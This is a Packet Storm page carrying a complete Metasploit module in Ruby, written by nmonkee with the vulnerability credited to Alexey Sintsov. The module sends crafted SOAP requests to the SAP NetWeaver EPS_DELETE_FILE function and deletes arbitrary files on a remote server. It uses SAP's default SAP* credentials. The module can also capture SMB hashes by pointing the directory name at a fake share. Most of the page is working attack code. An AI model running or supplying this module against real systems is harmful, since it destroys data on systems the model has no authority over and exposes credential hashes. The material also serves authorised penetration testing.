exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SAP SOAP EPS_DELETE_FILE File Deletion

SAP SOAP EPS_DELETE_FILE File Deletion
Posted Aug 31, 2024
Authored by Alexey Sintsov, nmonkee | Site metasploit.com

This Metasploit module abuses the SAP NetWeaver EPS_DELETE_FILE function, on the SAP SOAP RFC Service, to delete arbitrary files on the remote file system. The module can also be used to capture SMB hashes by using a fake SMB share as DIRNAME.

tags | exploit, remote, arbitrary
SHA-256 | dd8fea54335c24c4b123e867b2f7f6799e65ed7f1293added0b5dc7555c7b9a1

SAP SOAP EPS_DELETE_FILE File Deletion

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

##
# This module is based on, inspired by, or is a port of a plugin available in
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
# http://www.onapsis.com/research-free-solutions.php.
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
# in producing the Metasploit modules and was happy to share his knowledge and
# experience - a very cool guy.
#
# The following guys from ERP-SCAN deserve credit for their contributions -
# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
# Dmitry Evdokimov.
#
# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
# who have Beta tested the modules and provided excellent feedback. Some people
# just seem to enjoy hacking SAP :)
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize
super(
'Name' => 'SAP SOAP EPS_DELETE_FILE File Deletion',
'Description' => %q{
This module abuses the SAP NetWeaver EPS_DELETE_FILE function, on the SAP SOAP
RFC Service, to delete arbitrary files on the remote file system. The module can
also be used to capture SMB hashes by using a fake SMB share as DIRNAME.
},
'References' => [
[ 'OSVDB', '74780' ],
[ 'URL', 'http://dsecrg.com/pages/vul/show.php?id=331' ],
[ 'URL', 'https://launchpad.support.sap.com/#/notes/1554030' ]
],
'Author' =>
[
'Alexey Sintsov', # Vulnerability discovery
'nmonkee' # Metasploit module
],
'License' => MSF_LICENSE
)

register_options([
Opt::RPORT(8000),
OptString.new('CLIENT', [true, 'SAP Client', '001']),
OptString.new('HttpUsername', [true, 'Username', 'SAP*']),
OptString.new('HttpPassword', [true, 'Password', '06071992']),
OptString.new('DIRNAME', [true, 'Directory Path which contains the file to delete', '/tmp']),
OptString.new('FILENAME', [true, 'Filename to delete', 'msf.txt'])
])
end

def run_host(ip)
data = '<?xml version="1.0" encoding="utf-8" ?>'
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" '
data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" '
data << 'xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">'
data << '<SOAP-ENV:Header/>'
data << '<SOAP-ENV:Body>'
data << '<EPS_DELETE_FILE xmlns="urn:sap-com:document:sap:rfc:functions">'
data << '<DIR_NAME>' + datastore['DIRNAME'] + '</DIR_NAME>'
data << '<FILE_NAME>' + datastore['FILENAME'] + '</FILE_NAME>'
data << '<IV_LONG_DIR_NAME></IV_LONG_DIR_NAME>'
data << '<IV_LONG_FILE_NAME></IV_LONG_FILE_NAME>'
data << '</EPS_DELETE_FILE>'
data << '</SOAP-ENV:Body>'
data << '</SOAP-ENV:Envelope>'

begin
vprint_status("#{rhost}:#{rport} - Sending request to delete #{datastore['FILENAME']} at #{datastore['DIRNAME']}")
res = send_request_cgi({
'uri' => '/sap/bc/soap/rfc',
'method' => 'POST',
'data' => data,
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
'ctype' => 'text/xml; charset=UTF-8',
'headers' => {
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
},
'vars_get' => {
'sap-client' => datastore['CLIENT'],
'sap-language' => 'EN'
}
})

if res and res.code == 200 and res.body =~ /EPS_DELETE_FILE.Response/ and res.body.include?(datastore['FILENAME']) and res.body.include?(datastore['DIRNAME'])
print_good("#{rhost}:#{rport} - File #{datastore['FILENAME']} at #{datastore['DIRNAME']} successfully deleted")
elsif res
vprint_error("#{rhost}:#{rport} - Response code: " + res.code.to_s)
vprint_error("#{rhost}:#{rport} - Response message: " + res.message.to_s)
vprint_error("#{rhost}:#{rport} - Response body: " + res.body.to_s) if res.body
end
rescue ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - Unable to connect")
return
end
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close